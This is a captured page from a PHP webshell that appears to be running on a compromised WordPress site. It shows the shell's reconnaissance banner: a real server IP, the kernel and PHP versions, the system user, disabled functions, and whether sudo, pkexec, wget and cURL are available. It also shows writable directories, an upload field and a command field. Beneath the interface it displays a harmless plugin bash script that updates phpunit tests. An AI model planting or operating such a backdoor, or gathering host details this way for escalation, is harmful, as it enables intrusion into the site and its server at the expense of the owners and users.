403Webshell
Server IP : 95.46.96.79  /  Your IP : 216.73.216.84
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux zaimer.uz 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : akslabs_uz_usr ( 1001)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/sugurtatrip__usr95/data/www/sugurtatrip.uz/wp-content/plugins/cyr2lat/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/sugurtatrip__usr95/data/www/sugurtatrip.uz/wp-content/plugins/cyr2lat/bin/update-tests
#!/bin/bash
# This file updates tests according to the phpunit library used for current php version, or php version in 1st argument.
# Usage:
#   update-tests - to update tests according to the phpunit library used for current php version.
#   update-tests x.x - to update tests according to the phpunit library used for specific php version x.x, where x.x = 7.0|7.1|7.2|7.3|7.4|8.0|8.1|8.2.

# Directory with phpunit tests.
TEST_DIR="tests"

if grep -q Microsoft /proc/version; then
  DEV_MODE=$(cmd.exe /c echo %COMPOSER_DEV_MODE% | sed -nr 's/\r//p')
else
  DEV_MODE=$COMPOSER_DEV_MODE
fi

if [[ $1 == '' && $DEV_MODE != '1' ]]; then
#  Script works with composer in dev mode only.
  exit 0
fi

if [[ $1 == '' ]]; then
  PHP_VERSION=$(php -v | sed -nr "s/PHP ([^.]*?\.[^.]*?)\..*/\1/p")
else
  if [[ $1 == 'revert' ]]; then
    # Restore test files to the current branch version.
    git checkout -- $TEST_DIR
    echo "Tests reverted to the initial state."
    exit 0
  fi
  PHP_VERSION=$1
fi

echo "PHP_VERSION: $PHP_VERSION"

VERSION_FILE="vendor/phpunit/phpunit/src/Runner/Version.php"
CURRENT_PHP_UNIT=''

RESULT=$(test -f $VERSION_FILE && sed -nr "s/.*new Version.+'(.+\..+)\..*'.*/\1/p" $VERSION_FILE)

if [[ $? == 0 ]]; then
  CURRENT_PHP_UNIT=$RESULT
  echo "CURRENT_PHP_UNIT: $CURRENT_PHP_UNIT"
else
  echo "CURRENT_PHP_UNIT: Not found."
fi

if [[ $PHP_VERSION == '7.0' ]]; then
  PHP_UNIT='6.5'
elif [[ $PHP_VERSION == '7.1' ]]; then
  PHP_UNIT='7.5'
elif [[ $PHP_VERSION == '7.2' ]]; then
  PHP_UNIT='8.5'
elif [[ $PHP_VERSION == '7.3' || $PHP_VERSION == '7.4' || $PHP_VERSION == '8.0' || $PHP_VERSION == '8.1' || $PHP_VERSION == '8.2' || $PHP_VERSION == '8.3' ]]; then
  PHP_UNIT='9.5'
fi

if [[ $PHP_UNIT == '' ]]; then
  echo "Wrong PHP version: $PHP_VERSION"
  exit 1
fi

if [[ $1 == '' && $CURRENT_PHP_UNIT == "$PHP_UNIT" ]]; then
  # Do nothing if current version of phpunit is the same as required. Important on CI.
  # Anytime force update available specifying the first argument like 'update-phpunit 7.0'
  echo "Nothing to do with phpunit."
  exit 0
fi

# Restore test files to the current branch version.
git checkout -- $TEST_DIR

if [[ $PHP_UNIT == '6.5' || $PHP_UNIT == '7.5' ]]; then
  echo "Preparing tests for phpunit-$PHP_UNIT"
  find $TEST_DIR -type f -exec sed -i "s/: void / /g" {} \;
fi

exit 0

Youez - 2016 - github.com/yon3zu
LinuXploit